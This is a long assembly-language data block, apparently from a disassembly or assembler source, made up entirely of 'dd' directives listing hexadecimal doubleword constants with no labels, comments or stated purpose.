dd 0E8F3D6C8h, 52022644h, 671121C0h, 24E082CCh, 0AF4CC02Fh
dd 16B20098h, 4E9D091Dh, 77006F70h, 0E9E23B8Eh, 18223369h
dd 39A8C70Bh, 711F85B6h, 0DFC7ACA2h, 51B08911h, 4BD822h
dd 5D816E77h, 56336461h, 0D37DC102h, 0C1C260F7h, 88D4B6C2h
dd 0C891CFh, 0C97A0AE9h, 710BB849h, 0EC13C281h, 60DC58C4h
dd 1D4F6B81h, 0C62C707Ah, 0A405CBE2h, 6497DE82h, 8FAA8440h
dd 899268h, 8C847808h, 3A558E45h, 5979B00h, 602A566Dh
dd 0AC850BBFh, 0BA001B01h, 0CE615C55h, 30A4B00h, 14BF92DCh
dd 2CB6EC8Fh, 17C6FC0h, 753082B8h, 22428F9h, 0D748AD62h
dd 0C0BC9253h, 0F7BA64h, 0FF897A67h, 4E55AE0h, 41040095h
dd 3FEBDCEDh, 37D814A2h, 0E30F3100h, 0D4A42D6Ah, 281DC509h
dd 80358FA9h, 0C7B423EAh, 4E9E00C8h, 6EDF9C9h, 2B0F2A29h
dd 0E0C06C35h, 0AC32877h, 0D21B0066h, 0B326B0BBh, 0A1024B6Fh
dd 0A22DB698h, 0EA9C8079h, 37C091h, 9D2A0E61h, 0B53EBE95h
dd 780EE092h, 20FA732Bh, 5ADAAE46h, 349B266Dh, 22648050h
dd 42EB755Fh, 3D99F09h, 80F888AAh, 33F6DF00h, 557EBEh
dd 614E019h, 502AC36Fh, 0A1F08000h, 5ED6DF7Ch, 4C50035h
dd 9AF141D8h, 16FCCB3Ch, 905860C1h, 6CF0DC54h, 5FFC0FCAh
dd 0BF009B87h, 7353CE88h, 0AC4CF59h, 0F4DF126Dh, 715F5D83h
dd 1B08BEEFh, 18EC8FC3h, 0C0E037FBh, 9A0B35A4h, 83BEFF12h
dd 0C06165A1h, 7BFB5736h, 0F02098D7h, 18DAEAFAh, 59DCC715h
dd 5D3BF121h, 19E480C4h, 710F75C1h, 9F0900E8h, 958C2416h
dd 9C00E784h, 23C13A5Fh, 0AAF6D4Dh, 1E0EB2A2h, 3CE33B4h
dd 0DAB871E3h, 4B00D634h, 0AA8293A8h, 445AFDh, 0B1583EAEh
dd 9EECFE9Ah, 59573A00h, 1A2B6CC6h, 3B6902BBh, 2E16BE0Ah
dd 1DD14760h, 4A0026F6h, 0C429E207h, 158D8C5h, 41F5184Dh
dd 0FCB9FAF8h, 6039C0DEh, 19CF8081h, 0C831B8DDh, 0E98907CDh
dd 50D04358h, 6D63C11h, 1C42F63Bh, 6C8385D8h, 0E0C94F38h
dd 0A304F516h, 3993A899h, 0CA035C2Ah, 0ED3C1Ch, 85F82365h
dd 822A24E4h, 5506E01Dh, 11CDE78Ah, 46D5211h, 199A7B0Ch
dd 5E001510h, 32BAC5F0h, 5BB08E2Ah, 0C0CC1F5Ch, 83D5FC35h
dd 1FB8EDBEh, 90A83800h, 244C611Ah, 78572AEh, 0F9777C35h
dd 0A2D1D044h, 7B89725h, 0CDDF3Ch, 50EE2347h, 917D8D4h
dd 965BB38Fh, 0AF157400h, 6470F041h, 0B8933C00h, 82253A6Bh
dd 0D565004Eh, 2A204FF5h, 271FEC99h, 538094A8h, 0F340FD7Dh
dd 13650143h, 0DBDDF6EFh, 0F950C0D6h, 97C0680Fh, 27DEC0E6h
dd 375FBCh, 0CB113E3h, 9093E94Ch, 50B0AC98h, 0DE049104h
dd 8C84922Fh, 0C60140ACh, 8633C0C2h, 89498096h, 0FD9F1952h
dd 510903E2h, 7FA4F17Dh, 6210D9F0h, 0E803B000h, 3A5EFFB3h
dd 1935BD7h, 0BE7607CCh, 0DFA6FC12h, 2D004873h, 35C820C0h
dd 0B3DEDAh, 5792B76Ch, 4621663Bh, 0D763CEAh, 0B2C9E913h
dd 3E3A0A00h, 0ECACF14Eh, 2A10FC6Bh, 74E0F02Eh, 114B686h
dd 0EAACD653h, 0CA8EDCFCh, 0A1C67F00h, 5A2216C3h, 9F66008Fh
dd 10983DCDh, 79B83542h, 0D5C3761Ch, 7044D444h, 1E6DDCA0h
dd 47057567h, 0C709D830h, 0C55C9121h, 0EB228023h, 50DEC79Dh
dd 0E171C0DBh, 25610AD9h, 69346700h, 194FC6F3h, 1CD0FDD2h
dd 0A85A097Ah, 0D0A0C2E9h, 0A6CBEFB1h, 8AFB2E28h, 1938F700h
dd 0EEFFE335h, 0D60B002Ah, 4BFA9EAEh, 5403A9A5h, 0E22907E9h
dd 89BCD820h, 0BF6D0059h, 2A866472h, 5D001D43h, 6F5774F6h
dd 38680Fh, 0C5E3F0C8h, 24D94078h, 0A300209Ah, 45F78C52h
dd 74BC23h, 781E3909h, 0CB7E7FDCh, 0F1A2E700h, 2E701225h
dd 0FA9E09Eh, 0AF275A68h, 0E046E567h, 90603441h, 0FB025577h
dd 64D97499h, 0F717E0C0h, 879B00D3h, 0D1BAC8B7h, 0A317358Ch
dd 0D71C8BB0h, 0DCC1F9C0h, 8112F3h, 46897D29h, 1DD33A7h
dd 216EC61Ch, 8E7C780h, 30954767h, 638887EDh, 0EE1D5EF4h
dd 36C02C8Bh, 40AF0CCFh, 201800F7h, 0E92F2DA0h, 46006F47h
dd 928131CBh, 0E0C40830h, 0FC227157h, 0C9C30039h, 0C16AF8Eh
dd 58075DB7h, 6D8C8275h, 972EB580h, 98D207F4h, 0E0EF9E6Ch
dd 92634262h, 3E60E901h, 57AFBCF0h, 0A8D067DDh, 28B1CEC1h
dd 52B44A81h, 0C7180DEh
dd 8A627027h, 3A580041h, 0E4B65AFCh, 84608E81h, 5458681h
dd 658C0051h, 5A4E6757h, 1C00F53Fh, 0E666E9Bh, 0F109ECAh
dd 0E5AAD539h, 56E07E80h, 0B371A3E3h, 0DEEBAD00h, 60DCFEEAh
dd 1DCE0178h, 746E0134h, 0B663F456h, 0EBFA9700h, 0ADE6ACC7h
dd 6C771EB5h, 0EE9FC0FFh, 1BB6B0E8h, 14CAA01Fh, 578186BDh
dd 0F30EAB8h, 0DBA10E29h, 536EEEA0h, 3C00E85Ch, 0CE287C0h
dd 38A94B9Dh, 7060E340h, 9358C521h, 0AC1C031Fh, 9AEC740h
dd 0BA53DDh, 0A48B91DCh, 22E62A45h, 34C66E0Eh, 1793E1FFh
dd 5B209656h, 0F5F98CAh, 0A1AC213Fh, 75D4F640h, 710BBCE9h
dd 0F04FE877h, 5BB80066h, 0B04BF035h, 0AB00CE3Dh, 14DC65D3h
dd 8C78F2h, 0A6E1D272h, 45BE8732h, 654B0300h, 81136447h
dd 26F018CBh, 0C69FFE31h, 5FBAAC00h, 54044838h, 0EBF4004Ah
dd 5C9BBBF6h, 4D124EBEh, 4C40073Ch, 0D7AF9E89h, 9575D8h
dd 20037A08h, 68BF6A1Fh, 0C55E440Eh, 0E265E28Bh, 0C8EE80CCh
dd 3E8C16h, 17EADCDBh, 8F82D773h, 4235B406h, 39A057h, 21FBF666h
dd 2FA530D0h, 160C800h, 52CDEAF0h, 288A6086h, 419F71DEh
dd 0E9E86300h, 1D0F98E5h, 7A850143h, 81B06B5Bh, 9A482061h
dd 937DAB06h, 0F2388F57h, 0D39E02B2h, 0BFF7F2B4h, 62A54048h
dd 0C2B54300h, 7BA991C9h, 0FAE2072Dh, 90351D71h, 6445909Bh
dd 0FD101705h, 98007343h, 635B6998h, 0C2530080h, 99DD5AEBh
dd 8005748h, 306FBBDh, 0E6DEC66Ch, 6E5B17F0h, 0EC5F1022h
dd 56A62500h, 6361445Ch, 220A4E2Eh, 0EB0B1A00h, 6E9626E6h
dd 16AF28DFh, 555DB620h, 51F4B288h, 70FE0D00h, 5A9F2CD1h
dd 2DE8ECh, 4D34EA6Eh, 0A3D7134Fh, 456F4604h, 0EE801D3Ah
dd 0A2782Ch, 0DC6DF48Ch, 951FAD0Bh, 833CF000h, 0CBDBB0B1h
dd 0B3F6ABh, 0C99ABCD8h, 73232E5Fh, 76777F00h, 0A14B457h
dd 0DBB8001Eh, 96C18A3Dh, 82006112h, 0DE70755Bh, 0B3D907h
dd 81ABAC9Eh, 0F97E0DCEh, 80303F39h, 4F6BD3C4h, 1BE2AE2h
dd 0B8392CCCh, 2A57013Bh, 0D83C2000h, 7747760h, 4A7A05EEh
dd 0C0CBD078h, 0C10010ACh, 387E0757h, 0C3E9272h, 25FA14BAh
dd 0CA38EE21h, 6E658080h, 0BD16A798h, 0FC87391Eh, 6D5E2907h
dd 0ABE7D07Ch, 130F311Bh, 0A0223615h, 2AF2564Bh, 0DA300BDh
dd 302CA6CEh, 7E0C8FB8h, 31FBC8DAh, 0ABB20756h, 8737D80Dh
dd 19A4905Eh, 870030AEh, 0F58EBFF8h, 1C7C674Dh, 0EF0A0EECh
dd 9804F4D4h, 8CD1E903h, 0FE20AB45h, 678800A7h, 56C4577Ah
dd 3A005295h, 6E78AC16h, 7A324049h, 0CA28001Ah, 9B29B322h
dd 1C008223h, 0E4DB8E86h, 0C5EDD8h, 0D4BBEEC2h, 359D4C29h
dd 6B5790C0h, 92FA6Dh, 98F8C995h, 13ED1A5Dh, 0A7037F72h
dd 0CD9E2F19h, 9F02E097h, 0F085E8C4h, 40210146h, 3EF1412Ah
dd 1B3CD033h, 1A108250h, 46A01401h, 38E6D2DCh, 93EC0881h
dd 0F8422673h, 6E000719h, 1B9609DAh, 0CB0DD7h, 2F18EFB4h
dd 95601A83h, 0DA009FF8h, 41108A9Ch, 0C15170Dh, 0C45EDE14h
dd 315A8590h, 187FF7B8h, 0A882F184h, 4039D27Fh, 2549CCCh
dd 0E6230Fh, 5E02786h, 116F00FDh, 0A6741DB9h, 767009E1h
dd 205A4828h, 3060DE28h, 0C0B44633h, 0EDD1C83Ah, 0DE9F3E38h
dd 504010D0h, 1701C7Fh, 16EBE1C6h, 709232DFh, 75078883h
dd 9AC734D6h, 0B0A085A3h, 0D9AAFBh, 0FEC5089h, 0F493EB3Dh
dd 78138B79h, 0A8006822h, 0FCB49A54h, 33EA002Ch, 3001FE87h
dd 200031C5h, 4D1918B9h, 722303F9h, 3B6400DDh, 0BF5E5570h
dd 1500B441h, 0B88BA4E8h, 915BEFh, 70D2BE18h, 0EDB0FBC3h
dd 74F95D01h, 5EF23ECDh, 186B70h, 0F6DF43DBh, 0B8EBEE82h
dd 63140800h, 73F709BEh, 0D28101B9h, 7FAE06D5h, 1207F8E9h
dd 2D4BD900h, 4DDA336Ah, 0AA0200EFh, 0A41F7675h, 9C0056E5h
dd 97A62D38h, 593C665h, 1CA03282h, 0BD980783h, 76EB90E9h
dd 7338E1E6h, 0C508E5DEh, 0ADDCA84Ah, 0A69F6800h, 8FA4D4h
dd 0A3E18719h, 0EF5FE35Bh, 45AE0301h, 7F21D772h, 0C4F1F3D0h
dd 87246A18h, 8CD8064h, 60929F15h, 3328A500h, 0E4FD1386h
dd 0C035AF2h, 0C221AD27h, 96333003h, 0B0610EB7h, 22BB9417h
dd 85039C55h, 7AAE981Fh, 0ED1100C1h, 38E35CF0h, 9E0ED1ECh
dd 8DD20440h, 9C021F5h, 534F035Ch, 0D00CEB9Dh, 6B7FA2E0h
dd 0E751A8CFh, 0E06642BFh, 0C57B3310h, 24B00C39h, 91004D5Eh
dd 0BECDF838h, 80EACB42h, 9B008119h, 30579261h, 0F854DDDh
dd 7948CDFFh, 0DF2D1EE2h, 9356C980h, 3F3F3224h, 0C960004Bh
dd 0B44C5D38h, 0D03100C3h, 0D35F5715h, 0D1009D10h, 1A9B482Fh
dd 6F4701h, 40C952Dh, 0F057E3A2h, 8068F23Dh, 0C8ED9D6Ah
dd 559051h, 291E1884h, 1B4208B3h, 78FD8700h, 0C9BF6D65h
dd 0F7FE2437h, 0F66C1498h, 8D550801h, 0DCF0FFACh, 3000F8A5h
dd 31C2514Eh, 0E14B78h, 0F6A11BDFh, 2843B811h, 0D72B4400h
dd 0F08DF348h, 5331D9Ch, 0B1934037h, 19347C4Eh, 0EEEEA424h
dd 2022900Fh, 6D1E84CBh, 0BEF900F6h, 83A9CFD3h, 0A203C6E8h
dd 2279912Ch, 3C848033h, 0EA800054h, 838E44F1h, 6D076749h
dd 35E3977Eh, 0B3CB8270h, 794E0B6Fh, 7000F0E7h, 0F822B46Ch
dd 12D68A00h, 1A180BA0h, 68590031h, 696C4E1Ch, 6E00B374h
dd 0BD254DE8h, 793B5C8h, 1698C4E3h, 280F8192h, 4863DC4Fh
dd 210F60Fh, 67D09968h, 80BB044Ah, 0CAAB313Dh, 53B6E2E1h
dd 8383147Eh, 10007D31h, 4437AD89h, 0F52FB3h, 0F4CDEBAh
dd 751CA513h, 86588303h, 0F38995E2h, 59292198h, 90A67B08h
dd 9A3D848Ch, 6A422D48h, 214024A0h, 3112A5E8h, 89A77510h
dd 84350874h, 441008E9h, 2284C8A2h, 49429F8Ch, 219C9111h
dd 0A038087Ch, 4784DD90h, 42B0489Fh, 0E1226BD5h, 91EA00BDh
dd 75003A83h, 1C673B7Eh, 0ECFCE7Dh, 5921E6A5h, 0DAA371C0h
dd 64E00FD9h, 0AD146E00h, 1EA5FB98h, 137E628h, 0CB2924BCh
dd 0C8214216h, 0FF007CC2h, 794C6BF2h, 3F6F53h, 14DDA232h
dd 0F63CB9B3h, 0E6213500h, 10D80266h, 4D4800C2h, 0FD41820Dh
dd 231DA40Ch, 0E5DF17AAh, 3A223901h, 6DF0BE8Fh, 0A1F62AFCh
dd 2BE807FCh, 0B33C1A2Fh, 9BF8FFABh, 1B7DD887h, 4839F300h
dd 0A090F9E0h, 0BB230074h, 0EC97126Fh, 9C007BF6h, 37D75952h
dd 313B632h, 1C71DFAAh, 3CE823E5h, 0BA00BF48h, 6C858F42h
dd 921D9105h, 186F0038h, 90BCE520h, 0CB00876Eh, 4B16EF49h
dd 36FE86h, 934135DFh, 31E4AC54h, 7C4620Fh, 0D159A71Bh
dd 0ECB085F0h, 164E00A4h, 242A9CA6h, 2BFCAB30h, 0F205DA1Fh
dd 74B2D41h, 0AAE0B759h, 0AC6900C4h, 51A8C91Dh, 0CC004D7Ch
dd 0D0C8972Eh, 9D5745h, 0A4399896h, 0F2A949EDh, 0CEA8200h
dd 15B7E3FBh, 0F4E10064h, 0A6DBFEA5h, 292C3B55h, 0C30E3691h
dd 3D85C004h, 0C259A24h, 4B794A54h, 173928E8h, 0A8A19452h
dd 2A56009Fh, 20D2399Fh, 44C70035h, 0AD607A6Fh, 6200EBC9h
dd 0EE4AFEA7h, 0D47F23h, 7AF4BDC2h, 449D685Ah, 6A0025E0h
dd 9739A578h, 0F9837Fh, 0B0265F59h, 3D9A81Fh, 0EB1A8B00h
dd 2B957BD7h, 55D302E4h, 3673BC80h, 218EC90h, 0E2B33100h
dd 795335AEh, 0A3CC001Dh, 0F3A93E93h, 2004EC9h, 0A1FF19A5h
dd 1CBA2A75h, 80DC6270h, 0F3C6B35h, 0E300B87Eh, 4DE1CED4h
dd 309FE6FEh, 0DF11197Dh, 3A1E8FF0h, 26403FA2h, 64BEC47Ah
dd 3D0090B4h
dd 5C00C702h, 3846735Eh, 0CB009605h, 7DF8A3B8h, 0E4279AFAh
dd 6592409Fh, 6ADC800h, 0F33B4B68h, 9D890F31h, 20786BCFh
dd 42095085h, 81AE0FEFh, 4EF4C82Ah, 13C0BE21h, 3F6800BBh
dd 87ED3DCDh, 54000383h, 32A425E7h, 15A54Eh, 9660206h
dd 6E76530Dh, 0DCAD3401h, 260143C0h, 1E939570h, 4EABC452h
dd 1F370F40h, 9708059h, 16F415D5h, 1A419E07h, 8D70DCA8h
dd 81114Dh, 0EE3266E2h, 178A5BC9h, 9E47AC00h, 3A875C38h
dd 6CD01F24h, 81003A57h, 1FA39BE6h, 5F09309Ah, 150E5B7h
dd 0B2F74820h, 7C1CCh, 8A76DB03h, 0FFF1597Fh, 64ED1607h
dd 0CE00DA4Fh, 3AC302A9h, 4E841DC0h, 0D0349F3Eh, 893ADA18h
dd 0A0A4BD00h, 0A31ECA01h, 0DFF70039h, 5B53C663h, 6E093EC5h
dd 945D83h, 6F8DC9CCh, 0F0DE3DCAh, 81EF100h, 240207F8h
dd 1F238B02h, 808F6186h, 4D5D5CC8h, 0F14209C8h, 0C0F06A4h
dd 2B8E53E0h, 0FC01ABD8h, 0A9BAF4C9h, 40FCF694h, 2AB8071Fh
dd 511C2D07h, 0C4A199B7h, 3203AE5Ch, 13CFC0E4h, 0A803A358h
dd 0A8994C2h, 0A798DAD1h, 35F703C4h, 0A4C01460h, 203E4763h
dd 1FC10085h, 0F7415345h, 16B57C5Ch, 94049Bh, 8635696Ch
dd 1F0C1DE5h, 0B88D6087h, 3FE425h, 14EA27CBh, 0B1A6BEB2h
dd 230A4Ch, 26A81DEFh, 0E4C0DF34h, 10E80A43h, 16F0F2D6h
dd 220D026Ch, 6C4042C1h, 0B140B2F3h, 6218003Fh, 2E7C2BCDh
dd 3E019876h, 7A53F90Bh, 983070B8h, 0ADEF0696h, 0A8743D0Ch
dd 92762D10h, 0D1850705h, 9BFC0056h, 1B548B63h, 91C3C700h
dd 3149C0DDh, 6FDE005Bh, 4C1E6BA1h, 64161CEDh, 0CD004133h
dd 448EC385h, 0A1C50023h, 0A92CC9F0h, 9700D073h, 0BA7FA52h
dd 0EC450C55h, 0AF2079Bh, 11EE7B54h, 0D8D06841h, 0BD1DF459h
dd 0B4C051DAh, 72C65FC4h, 0CEEB0385h, 0C7F81444h, 82D2A5D8h
dd 689A4900h, 3B7ADDCFh, 1743008Ch, 1D0D55B2h, 0F0089DAh
dd 256C6701h, 0E27A606h, 5D49D0C0h, 0B9E59900h, 0E90A80A3h
dd 8072D4F3h, 0EECD7403h, 65A0F8D2h, 0CA46004Ah, 38969FF5h
dd 5F2CEC7Fh, 7A008D5Dh, 0C65674A7h, 7CED00A2h, 3082B535h
dd 14005B37h, 4A835FB0h, 7E5592h, 0D1C6A965h, 390CA6FFh
dd 18954Ch, 74BD382Fh, 7378D3B6h, 0C0BC046Ah, 0C0C6407Ah
dd 6E6503F2h, 8C4548h, 0B8880687h, 156F29h, 22AAB28Fh
dd 0D19E48F7h, 0D7845000h, 5BB41058h, 0B88007Fh, 2E9C8B6Bh
dd 0CE1E24E5h, 1B4FA052h, 0FF65C037h, 167B4426h, 9B13DFh
dd 0D0C66F5Fh, 32B007A3h, 33223Fh, 87E1A665h, 3AD68Eh
dd 1C7858B1h, 20800B82h, 5184BF07h, 31E1B847h, 1882F97Ch
dd 55AE2EA0h, 0DD043B60h, 91846803h, 0CF6FDCDAh, 749A1841h
dd 0B750FCh, 80C92383h, 0E97B98B8h, 0DAB54800h, 0A1A63687h
dd 170914ABh, 0E72A903h, 0E97D227Ah, 50809A20h, 3C00123Ah
dd 8F73CD28h, 70774D04h, 4F51244Ah, 0BFB0075Ch, 403531CAh
dd 96F03F7Bh, 1B3F0017h, 0D42F4D28h, 0C8003277h, 0FD9A3136h
dd 215648h, 4DD7A668h, 0D26D25EAh, 0EC057CB2h, 0DC0299F8h
dd 0F73F7880h, 59FA0010h, 0FB792461h, 67003542h, 1831DE9Eh
dd 0DBF81h, 998ADFB2h, 7EBCFA3Eh, 2B9860Ah, 4507ECC5h
dd 8E80A925h, 1155D26h, 0A923BB2h, 0DCF9A1B6h, 4B02F5CEh
dd 78C59E5Eh, 8CF080F7h, 286F9Fh, 5CE88E6Ch, 0E761D8A2h
dd 0DC0EFB00h, 0D53CA538h, 0A890FCh, 0C26C42DAh, 1D3EA6E9h
dd 0DD588E00h, 0A463C3E1h, 0E82A023Ch, 775BEF39h, 6BD052C3h
dd 0CC019CF8h, 0F670C0E3h, 0C760412Fh, 106200D7h, 7D0374CFh
dd 370F9517h, 1C57226h, 3D6C308Ah, 0D8407C71h, 0F01F74h
dd 1D798C7h, 49469127h, 5201FAB0h, 0F32D623Dh, 7BC01D8Ch
dd 9B143F4Ah, 27707C80h, 0C350F83Fh, 193C260Bh, 0E25C000Ch
dd 0C711B3h, 0DF5CBA87h, 95560396h, 0A1F67A1Ch, 92E67F01h
dd 54344909h, 0BC70078h, 5318FD99h, 9A04A62Dh, 1022A9CFh
dd 1F6CA0h, 0B95ED02Ah, 4E50F572h, 0CF711970h, 2D012498h
dd 986ACA85h, 0F1E014EDh, 0F8DD50D9h, 0B204B047h, 0B2730014h
dd 0DFA3D443h, 0B8E42DEEh, 958FBF00h, 12ABC979h, 16A11817h
dd 3259EE80h, 1DDF8707h, 56D72EBCh, 428EA750h, 40DB0031h
dd 0B5D05E30h, 0D700BCF4h, 9EEC089Ch, 1A252E3h, 0EADAD992h
dd 98B6D3CFh, 0B1E87EF4h, 8DC33A5Dh, 0C7891E02h, 0D860DCA4h
dd 4B886A1Ah, 10B03BBDh, 0DB17C08Ch, 0C09DAA8h, 8097E084h
dd 1FABC73Ah, 4E4817A7h, 9F83000Eh, 5936A24Bh, 0BFC40D00h
dd 0D6648116h, 751700D3h, 3FBD091Fh, 0CAE8FCC7h, 38905D90h
dd 0A91E1000h, 0B6AA7C3h, 57310256h, 5C6BF647h, 0AAC17F60h
dd 83CA283Eh, 3DF5DCB3h, 42039081h, 0ABFA0087h, 50ED7870h
dd 0F9000753h, 6BCE06C1h, 0F4888Dh, 4DE6115h, 0DA0BDD7Dh
dd 0CBB01F03h, 0F956FE77h, 7460B243h, 0EC5D0EBAh, 76A0238Ch
dd 536CDCF3h, 0F1503700h, 25CEC1A0h, 2C540094h, 4603520Bh
dd 0AA091FB0h, 4070F9CFh, 9056BE50h, 5DD80058h, 0DE1034BFh
dd 0A838F5FAh, 4C345C3Bh, 637A0010h, 825A55A7h, 0AC54C0D7h
dd 8A5610CDh, 69992202h, 0C1920974h, 0E5E43E90h, 0ECEB38EAh
dd 8849387h, 585A097h, 43606B29h, 0BC58766h, 0F5380198h
dd 248BB71Bh, 195CD07Ah, 8A143700h, 67FFC448h, 136F3ECDh
dd 723A7103h, 43E090A2h, 79009356h, 1CA33B3Ch, 10DD5F4h
dd 3E716058h, 0E8C2B913h, 0C0B02CA1h, 8095703Ah, 1C464D77h
dd 24149F3Ch, 0D1690Fh, 0E0011913h, 48000ECFh, 0D8C0C87Bh
dd 2E7C34Ch, 0C95934D5h, 0B887B793h, 244490E2h, 0AF070171h
dd 2B84E44Ch, 392A9850h, 0B1173DF9h, 0A7D4AC80h, 0F78C6BAAh
dd 8AF25E2Eh, 957BC800h, 18E35BFh, 44C093A9h, 40113C97h
dd 0D4018DB8h, 4A40F896h, 0F9E248h, 1E62D57Fh, 728565B6h
dd 0BA68E100h, 5AFCE8C8h, 6E2800A2h, 55FA50CFh, 0EF77DCD6h
dd 64904702h, 0E1ACED7Bh, 0F032DE68h, 0B3A25400h, 0A3725849h
dd 0CDCBF800h, 404DAA24h, 7BEC13A6h, 551440BBh, 0C249AFA4h
dd 0E0F92300h, 4FAD7038h, 6D8E0031h, 0FF7CEE9Ch, 0C14E626Eh
dd 48D38C60h, 0C5D50F05h, 0A7E0C802h, 630FF6AEh, 1044103h
dd 0E29CB7FBh, 0BFEC4057h, 0E7C9884Bh, 0D66E4109h, 0FF950142h
dd 0C092B084h, 0A91C91C5h, 60A2F919h, 3006B8Dh, 0DCA8C6C3h
dd 0D8A37h, 22CE3961h, 6DD48B27h, 8456AD09h, 38F2804Ch
dd 28352A28h, 3AC4910h, 505CFA23h, 6CD0A2F3h, 63005393h
dd 0B8DB769Bh, 243EC8B1h, 811801F8h, 3ACE610Bh, 0EFA1E025h
dd 0E4528200h, 21AA0637h, 97DE00A7h, 0A480CF3Eh, 4A001DB0h
dd 326AFE74h, 1758DAh, 0AB8C8A23h, 8B515748h, 8FD0B400h
dd 33E37C45h, 0F8C00390h, 17EF726Dh, 0D99C7BE8h, 6755FC00h
dd 466AC853h, 81233B11h, 16D7F780h, 0E8E09260h, 42C54000h
dd 0BBB8F6CFh, 92B018h, 443A1C72h, 0AE585EFh, 7A900E03h
dd 0D1196ED2h, 0B8406B0Dh, 51A8FA0h, 4B102642h, 0D19C4035h
dd 451DF84Ah, 2EEC403h, 0D04106DAh, 0FE8618EDh, 4EA898D6h
dd 284047Ch, 1C2080B4h, 0D22CC9E9h, 0F0218B0h, 206BFB27h
dd 0F9937E6Dh, 0EF704202h, 805BEB0Ch, 20862EC8h, 855D019Eh
dd 696DE428h, 0A50AECBAh, 97405B00h, 7B5093CEh, 13847167h
dd 0C8AC3Bh, 0D0CD46DCh, 0C725C1F2h, 1BF801ADh, 0C06CC310h
dd 489273h, 0D618AF2Fh
dd 0D2444B0Bh, 20748530h, 0BE01D24h, 55308902h, 0A09AA804h
dd 0EF00C874h, 8E6D9099h, 1F789F1h, 0D216A745h, 60C5537Dh
dd 47018094h, 0AFFF64CBh, 0F370DA34h, 0A9690007h, 0DB8FA1C6h
dd 0E53B2017h, 2E97072Dh, 5CC0C732h, 0F0DDAF33h, 0F0AC053Ch
dd 0C06A07BBh, 0CC8FD6B2h, 6633Eh, 0A569B457h, 15CBEE5h
dd 0A0F4C9EAh, 701A5E5Fh, 0EC00CB38h, 0B2417AF2h, 0CDA922h
dd 0D1D89FEDh, 0D2935504h, 8E7FAA76h, 4B04B498h, 894C660Fh
dd 9E1FB480h, 0BF5B0534h, 8578FF09h, 6DBC40E2h, 9DAC8593h
dd 29E31800h, 57075024h, 61BC2779h, 8B01481h, 323180F3h
dd 47EA7FB8h, 57E100F1h, 0BAF4A8D3h, 96009411h, 4309E71Fh
dd 7026116h, 0A1E032B6h, 0D772C073h, 0F600DD4Dh, 362C1E95h
dd 76837D1h, 574AA63Ah, 66AEC09Fh, 0D503F146h, 0D7F34FFEh
dd 86801E7Dh, 0BD1000E4h, 30D8B396h, 63871800h, 75F53EACh
dd 0F7ED0442h, 0B03688B8h, 83005C14h, 0CBD94B2Eh, 0F33C9A7h
dd 825D2AFAh, 0C8E3D0A1h, 89BC3014h, 35D79D02h, 0C8B7A23Bh
dd 0FBAD6Ch, 60641AC9h, 1DEF10A1h, 8926A339h, 0C136B10Eh
dd 3830235Ch, 7414007Dh, 0C5C0E3E7h, 0FB008CB6h, 182CA7A2h
dd 0EE481F3Dh, 529C009Dh, 20737DACh, 0B89CC014h, 0CC36DD01h
dd 0AC426A11h, 28A0908Ch, 9424E7B4h, 463800F6h, 66D1AE7Fh
dd 609A7C3Eh, 9929D8F5h, 0CA0BC2FAh, 1A537F1h, 0A206AD04h
dd 0F500B9F1h, 0C1208DE8h, 819A12B1h, 703C094Ch, 68ECF441h
dd 0F1D60070h, 73613E08h, 87E81D8Ah, 0A4BE42AFh, 10692819h
dd 946878h, 55B7974h, 58305192h, 620604F3h, 0C195DD76h
dd 60BF092Eh, 0E2D2020Ch, 0E6AD0958h, 6A001817h, 15290E4Ch
dd 5AEBC09h, 61F88759h, 8D925A20h, 265400E3h, 0B9DCCB67h
dd 0D1DE503h, 189F50D1h, 0C5BC803Bh, 0A3BEE880h, 0EED500CFh
dd 415183EFh, 33673515h, 0AB40B318h, 3BB8D0C1h, 9600B10Ah
dd 542FFE3h, 0F8009E06h, 80A34A84h, 76D27FCCh, 34B64869h
dd 14993200h, 97517BD4h, 3BECF4E6h, 0F96A1F00h, 8DE62AC9h
dd 0C4DC015Ch, 7C7B9A77h, 0FC2C427h, 42387500h, 5E65EA85h
dd 703F1F18h, 1520F994h, 23319D04h, 85EA2402h, 0BCA0C0DEh
dd 0D03722Ah, 51911ACCh, 444980B3h, 0C7D5132Bh, 0E8D20242h
dd 30F00908h, 0C0EEFA00h, 647AA3D0h, 796100D6h, 0EDDA2D1Eh
dd 0CE30057Bh, 0AE92C8D5h, 3F8B0763h, 0E00116A1h, 4D21160h
dd 205177Fh, 0E787E1DFh, 7E4868C6h, 6EAF0088h, 0E85B1422h
dd 5F0194B2h, 0C47A72AEh, 434921Eh, 0B8EC99E2h, 47F69480h
dd 0C5EF78A3h, 2A0CAB01h, 2E46FF7Dh, 1718C3ECh, 0FA24A95h
dd 0E0091E24h, 70909C00h, 2DE46F83h, 0FF0BADF0h, 765455h
dd 515865B8h, 75F0008Eh, 0E7D99285h, 0C50205A4h, 0FFA8A554h
dd 247DC0E8h, 0B043005Fh, 0C228AC0h, 0EB01CC5Ah, 6DCAC33h
dd 0AF8957Ch, 0E83C0070h, 0E7A93053h, 4000637Ah, 4DE55AE4h
dd 2877F822h, 80874Eh, 0E3D4F9Bh, 8A8CDFB2h, 1D2EF600h
dd 372FBBC9h, 52640397h, 0E6469B25h, 0EAA2D8E0h, 0BE3CCB3Dh
dd 27FB8221h, 0C353D987h, 0F6DEE994h, 706166D9h, 0EFD06FC1h
dd 9A441C16h, 0D8C88224h, 0D4A9C52Fh, 748E5401h, 96FD40Ch
dd 0C4B68200h, 4134369Dh, 3ECB013h, 7D92ACD6h, 4AD81EFEh
dd 827E8AC5h, 517E6800h, 0CC795E69h, 0DC6105D1h, 80B325CDh
dd 27CB93C4h, 2C74C75Bh, 4C7068F2h, 14075C92h, 0CE0589DAh
dd 0DB580840h, 8CA0C84Eh, 7912E0B4h, 1450D9F9h, 8BAB018Ah
dd 8E7F55Eh, 2B1900FFh, 66A1F27Bh, 72246B6Fh, 3A081C8Bh
dd 0D69150h, 0CD8E9A5Eh, 0F106F86h, 0CAFA69FFh, 5F27A8A2h
dd 75417860h, 0B8607A00h, 6A652EF0h, 38A7C07h, 0D743478h
dd 0B9A81627h, 0E2894F9h, 9F00F4D7h, 0F645A51Fh, 0ADB22Ah
dd 0F8B8758Ch, 0B7276258h, 0FBEC2C00h, 3020A44Ch, 7B5900ABh
dd 874B0849h, 5100C438h, 0DF0E8924h, 0CB55A6h, 2286613Ah
dd 3945D4B3h, 9A260B00h, 0E12E7101h, 40DCA04Dh, 0EFA9C96Fh
dd 826ED700h, 0E9047187h, 5CE4FED7h, 0A5789780h, 0CD2A0BA1h
